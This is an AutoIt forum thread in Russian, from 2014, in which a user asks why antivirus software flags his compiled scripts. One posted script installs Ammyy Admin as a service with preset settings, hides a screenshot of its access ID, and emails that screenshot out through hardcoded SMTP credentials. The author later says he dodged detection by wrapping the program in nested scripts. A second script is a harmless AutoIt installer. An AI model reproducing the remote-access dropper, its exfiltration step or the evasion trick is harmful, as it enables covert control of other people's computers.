Одни автоматизированные приложения антивирусом блокируются а другие - нет

Юрий · 21 Авг 2014

День добрый. :smile:

Автоматизировал Ammyy но его как вирус распознал Avast и Dr. Web (когда я его на яндекс диск залил). Это моя не первая автоматизация и принцип действия антивируса мне не понятен - одни программы автоматизированные он игнорирует, а другие - почему-то материт. В чём беда :mad:

? Пытался искать различия между тем скриптом который допускается и который блокируется - особых различий не нашёл :scratch:

Код Ammy Admin:

Код:

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=icon.ico
#AutoIt3Wrapper_Res_ProductVersion=3.4.0.0
#AutoIt3Wrapper_Res_Description=Программа удалённого управления
#AutoIt3Wrapper_Res_requestedExecutionLevel=requireAdministrator
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****

#Region			<<< Библиотеки и Опции >>>
;~ #NoTrayIcon
#RequireAdmin
#include <ScreenCapture.au3>
Opt("WinTitleMatchMode" , 2)
Opt("TrayIconDebug" , 1)
Opt("SendKeyDownDelay" , 5)
Opt("SendKeyDelay" , 100)
Opt("SendAttachMode" , 1)
#EndRegion

#Region			<<< Переменные >>>
Global $ToAddress = "[email protected]"
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
#EndRegion

#Region			<<< Функции >>>
Main()
Func Main()
	Switch @OSVersion
		Case "WIN_XP"
			local $Path_AllUsers = @AppDataCommonDir & "\AMMYY"
			DirCreate(@SystemDir & "\int")
			FileInstall("AA_v3.exe" , @SystemDir & "\int\AA_v3.exe" , 1)
			Run(@SystemDir & "\int\AA_v3.exe" , @WindowsDir)
			Sleep(1000)
			MakeScreenCapture()
			WinClose("Ammyy Admin")
			FileInstall("settings3.bin" , $Path_AllUsers & "\settings3.bin" , 1)
			Run(@SystemDir & "\int\AA_v3.exe" , @WindowsDir)
			ServiceActivation()
			WinClose("Ammyy Admin")
			SendAnEmail()
			MsgBox(64 , "Программа" , "Готово!" , 1)
		Case Else
			Local $Path_ProgrammData = @HomeDrive & "\ProgramData\AMMYY"
			local $Path_AllUsers = @HomeDrive & "\Users\All Users\AMMYY"
			DirCreate(@WindowsDir & "\system32\int")
			FileInstall("AA_v3.exe" , @WindowsDir & "\system32\int\AA_v3.exe" , 1)
			Run(@SystemDir & "\int\AA_v3.exe" , @WindowsDir)
			Sleep(1000)
			MakeScreenCapture()
			WinClose("Ammyy Admin")
			FileInstall("settings3.bin" , $Path_AllUsers & "\settings3.bin" , 1)
			FileInstall("settings3.bin" , $Path_ProgrammData & "\settings3.bin" , 1)
			Run(@SystemDir & "\int\AA_v3.exe" , @WindowsDir)
			ServiceActivation()
			WinClose("Ammyy Admin")
			SendAnEmail()
			MsgBox(64 , "Программа" , "Готово!" , 1)
	EndSwitch
	Exit
EndFunc

Func ServiceActivation()
	Sleep(500)
	WinWait("Ammyy Admin v3.5 - Free")
	WinActivate("Ammyy Admin v3.5 - Free")
	Send("{LALT}")
	Sleep(10)
	Send("{DOWN 3}{RIGHT}{ENTER}")
	WinWait("Ammyy Admin" , "Сервис Ammyy Admin успешно установлен")
	WinActivate("Ammyy Admin" , "Сервис Ammyy Admin успешно установлен")
	ControlClick("Ammyy Admin" , "Сервис Ammyy Admin успешно установлен" , "[CLASS:Button; INSTANCE:1]")
	WinActivate("Ammyy Admin v3.5 - Free")
	Send("{ALT}")
	Sleep(10)
	Send("{DOWN 3}{RIGHT}{DOWN}{ENTER}")
	WinWait("Ammyy Admin" , "Сервис Ammyy Admin запущен.")
	WinActivate("Ammyy Admin" , "Сервис Ammyy Admin запущен.")
	ControlClick("Ammyy Admin" , "Сервис Ammyy Admin запущен." , "[CLASS:Button; INSTANCE:1]")
EndFunc

Func MakeScreenCapture()
	Local $AmmyyPos = WinGetPos("Ammyy Admin")
	If @error Then Exit(1)
	_ScreenCapture_Capture(@TempDir & '\Ammyy.jpg' , $AmmyyPos[0] , $AmmyyPos[1] , $AmmyyPos[0] + $AmmyyPos[2] , $AmmyyPos[1]+ $AmmyyPos[3])
	Local $NewFileName = TimeAndDate()
	FileCopy(@TempDir & "\Ammyy.jpg" , $NewFileName , 1)
	FileSetAttrib($NewFileName , "+SH")
EndFunc

Func TimeAndDate()
	Local $Return = @ScriptDir & "\Ammyy " & @HOUR & "." & @MIN & " " & @MDAY & "." & @MON & "." & @YEAR & ".jpg"
	Return $Return
EndFunc

Func SendAnEmail()
	Local $SmtpServer, $FromName, $FromAddress, $Subject, $Body, $Username, $Password, $IPPort, $ssl
	$SmtpServer = "smtp.yandex.ru"
	$FromName = "Ammyy Admin ID"
	$FromAddress = "[email protected]"
	$Subject = "Print Screen окна Ammyy Admin"
	$Body = "<h1>Ammyy Admin</h1><p>Всё для вас, всё для вас =)
" & @MDAY & "." & @MON & "." & @YEAR & " " & @HOUR & ":" & @MIN & "</p>"
	$Username = "yur.reg"
	$Password = "17021997yur"
	$IPPort = 465
	$ssl = 1
	Local $objEmail = ObjCreate("CDO.Message")
	$objEmail.From = '"' & $FromName & '" <' & $FromAddress & '>'
	$objEmail.To = $ToAddress
	$objEmail.Subject = $Subject
	$objEmail.HTMLBody = $Body

	$objEmail.AddAttachment(@TempDir & '\Ammyy.jpg')

	$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
	$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $SmtpServer
	$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
	$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
	$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $Username
	$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $Password
	If $ssl Then $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
	$objEmail.Configuration.Fields.Update
	$objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "High"
	$objEmail.Fields.Update
	$objEmail.Send
	$objEmail = ""
EndFunc

Func MyErrFunc()
	Sleep(1)
EndFunc
#EndRegion

Код установки AutoIt: (Тема этой установки)

Код:

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=icon.ico
#AutoIt3Wrapper_Res_ProductVersion=3.3.12.1
#AutoIt3Wrapper_Res_Description=AutoIt3+SciTE
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****

#Region >>> Библиотеки и Опции <<<
#RequireAdmin
#include <Rar.au3>

Opt("TrayMenuMode" , 3)
Opt("TrayOnEventMode" , 1)
#EndRegion

#Region >>> Функции <<<
Main()

Func Main()
	$TrayExit = TrayCreateItem("Выход")
		TraySetToolTip("Установка AutoIt и SciTE")
		TrayItemSetOnEvent($TrayExit , "_Exit")

	_AutoIt()
	_SciTE4()
	_Addition()

	MsgBox( 64 , "Установка AutoIt3" , "AutoIt3 установлен!!!" , 1 )
EndFunc

Func _AutoIt()
	FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\AutoIt и SciTE\autoit-v3-setup.exe" , @TempDir & "\AutoIt3.exe" , 1 )
	Local $Title = "AutoIt v3.3.12.0 Setup"
	ShellExecute( @TempDir & "\AutoIt3.exe"  , "" , @WindowsDir )
		WinWait( $Title )
	ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:2]" )
		WinWait( $Title , "Press Page Down to see the rest of the agreement." )
	ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:2]" )

	If @OSArch <> "X86" Then
		WinWait( $Title , "64-bit Operating System Support" )
		ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:2]" )
	EndIf

		WinWait( $Title , "Defaults for *.au3" )
	ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:5]" )
	ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:2]" )
		WinWait( $Title , "Choose Components" )
	ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:2]" )
		WinWait( $Title , "Choose Install Location" )
	ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:2]" )
		WinWait( $Title , "Completing the AutoIt v3.3.10.1 Setup Wizard" )
	ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:4]" )
	ControlClick( $Title , "" , "[CLASS:Button; INSTANCE:2]" )
	FileDelete( @TempDir & "\AutoIt3.exe" )
EndFunc

Func _SciTE4()
	FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\AutoIt и SciTE\SciTE4AutoIt3.exe" , @TempDir & "\SciTE4.exe" , 1)
	Run( @TempDir & "\SciTE4.exe" )
	Local $Title = "SciTE4AutoIt3 13.11.14.16 Setup"
	WinWait( $Title )
	ControlClick( $Title , "" , 1 )
	WinWait( $Title , "&Agree" )
	ControlClick( $Title , "" , 1 )
	WinWait( $Title , "&Finish" )
	ControlClick( $Title , "" , 1 )
	FileDelete( @TempDir & "\SciTE4.exe" )
	FileSetAttrib( @ProgramFilesDir & "\AutoIt3\*.*" , "-R" , 1 )
EndFunc

Func _Addition()
	FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\Template\Template.au3" , @WindowsDir & "\ShellNew\Template.au3" , 1 )
	DirCreate(@TempDir & "\AutoIt3_Addition")
	FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\FileOperations.rar" , @TempDir & "\AutoIt3_Addition\FileOperations.rar" , 1 )
	FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\Icons.rar" , @TempDir & "\AutoIt3_Addition\Icons.rar" , 1 )
	FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\Include.rar" , @TempDir & "\AutoIt3_Addition\Include.rar" , 1 )
	FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\IsPressedEx.rar" , @TempDir & "\AutoIt3_Addition\IsPressedEx.rar" , 1 )
	FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\SciTE Properties.rar" , @TempDir & "\AutoIt3_Addition\SciTE Properties.rar" , 1 )
	FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\WinAPIEx_3.8_3380.rar" , @TempDir & "\AutoIt3_Addition\WinAPIEx_3.8_3380.rar" , 1 )
	FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\Директивы AutoIT3 Wrapper.rar" , @TempDir & "\AutoIt3_Addition\Директивы AutoIT3 Wrapper.rar" , 1 )
	FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\Теги ID3.rar" , @TempDir & "\AutoIt3_Addition\Теги ID3.rar" , 1 )
	FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\Дополнения\Русская справка.rar" , @TempDir & "\AutoIt3_Addition\Русская справка.rar" , 1 )

	RAR_CreateRarExe()
	FileSetAttrib(@ScriptDir & "\rar.exe" , "+H" , 1)
	Local $Founded , $Search = FileFindFirstFile(@TempDir & "\AutoIt3_Addition\*.rar")
	Do
		$Founded = FileFindNextFile($Search)
		If $Founded <> "" Then
			RAR_Extract(@TempDir & "\AutoIt3_Addition\" & $Founded , "" , @ProgramFilesDir & "\AutoIt3")
		EndIf
	Until @error
	FileDelete(@ScriptDir & "\rar.exe")
	DirRemove(@TempDir & "\AutoIt3_Addition", 1)
EndFunc

Func _Exit()
	Exit
EndFunc
#EndRegion

P.s. Прошу прощения за дубликат, и за то, что в первой теме затронул тему кряков. :-[ :(

InnI · 21 Авг 2014

Раньше часто антивирусы ругались на скомпилированный скрипт, если он содержал стандартную иконку AutoIt (именно поэтому теперь при компиляции по умолчанию иконка не добавляется). Также были случаи обнаружения "вируса" и при других иконках: Ответ #3

Попробуйте скомпилировать без иконки

Код:

; #AutoIt3Wrapper_Icon=icon.ico

Если поможет, подберите иконку, на которую не будет ругаться антивирус.

Юрий · 22 Авг 2014

InnI [?]

Если поможет, подберите иконку, на которую не будет ругаться антивирус.

Тоесть антивиус ругаеться на сам файл иконки или на метод его добавления в тел программы?

InnI · 22 Авг 2014

Юрий [?]

антивиус ругаеться на сам файл иконки или на метод его добавления

Этого я не знаю. И вообще не факт, что виновата иконка. Просто чаще всего замена или удаление иконки решало проблему.

Чисто теоритически, если наличие одной и той же иконки в одном скрипте определяется как вирус, а в другом нет, то можно попробовать изменить структуру скрипта. Возможно тогда при компиляции иконка "ляжет" более удачно.

А вообще, подобные файлы лучше отправлять в техподдержку антивируса.

inververs · 22 Авг 2014

Мне кажется причина в этой строке:

Код:

FileInstall( "D:\Scripts\AutoIT Scripts\Автоматика\Установки\Установка AutoIt\AutoIt и SciTE\autoit-v3-setup.exe" , @TempDir & "\AutoIt3.exe" , 1 )

Юрий · 22 Авг 2014

inververs [?]

Мне кажется причина в этой строке:

Нет. Установка AutoIt приниаеться - на неё Dr. Web не ругается(тот который на Яндекс диске живёт), а вот на аммии - ругается.
Поставил в аммии иконку от указанной в этой теме установки AutoIt - не помогло.

InnI [?]

А вообще, подобные файлы лучше отправлять в техподдержку антивируса.

Есть там такая функция, так яндекс перенаправляет на сайт dr. web где для того, что бы отправить файл на рассмотрение мне необходимо указать код продукта - а лицензии вебера у меня и в помине нет :stars:

Добавлено:
Сообщение автоматически объединено: 22 Авг 2014

ах да, забыл - пробовал и вообще без иконки - не помогло

inververs · 22 Авг 2014

Может он считает аммии трояном/не желательной программой, видет ее в ресурсах и дает тревогу?

Юрий · 22 Авг 2014

inververs [?]

Может он считает аммии трояном/не желательной программой, видет ее в ресурсах и дает тревогу?

попробую залить чистую аммии без автоматизации, прямо с офф сайта

InnI · 22 Авг 2014

Юрий [?]

залить чистую аммии

Лучше скомпилируйте скрипт без включения Ammyy и залейте для проверки.

Юрий · 22 Авг 2014

InnI [?]

Лучше скомпилируйте скрипт без включения Ammyy и залейте для проверки.

Сделал - оказывется, это он на саму аммии ругается. Отправлю как ложное срабатывание к dr.web - просто оказывается, там можно отправить файл и без серийного ключа. Огромное спасибо всем. Думаю что дальше говорить не о чём. Тему помечаю решённой.
Добавлено:
Сообщение автоматически объединено: 22 Авг 2014

Добавлено:
Сообщение автоматически объединено: 23 Авг 2014

Ура, Товарищи! :IL_AutoIt_1: Я упаковал аммии в скрипт, который упаковал в скрипт, который упаковал в конечный скрипт - помогло. Слава FileInstall! :ok:

:beer:

Автор темы	Похожие темы	Форум	Ответы	Дата
T	Восстановить исходник	Общие вопросы по AutoIt	2	2 Апр 2024
	Файловая система Как отсортировать папки и файлы в том же порядке, как в проводнике Windows?	Общие вопросы по AutoIt	4	28 Май 2023
A	Сеть, интернет Сетевое взаимодействие 2х скриптов одним соединением	Общие вопросы по AutoIt	2	21 Ноя 2022
	Google Chrome Portable Updater - никто не знает где взять исходники?	Общение	0	6 Ноя 2021
A	Получить путь активного окна проводника	Общие вопросы по AutoIt	7	3 Окт 2021

Поиск

Поиск

Одни автоматизированные приложения антивирусом блокируются а другие - нет

Юрий

Новичок

InnI

AutoIT Гуру

Юрий

Новичок

InnI

AutoIT Гуру

inververs

AutoIT Гуру

Юрий

Новичок

inververs

AutoIT Гуру

Юрий

Новичок

InnI

AutoIT Гуру

Юрий

Новичок

Вложения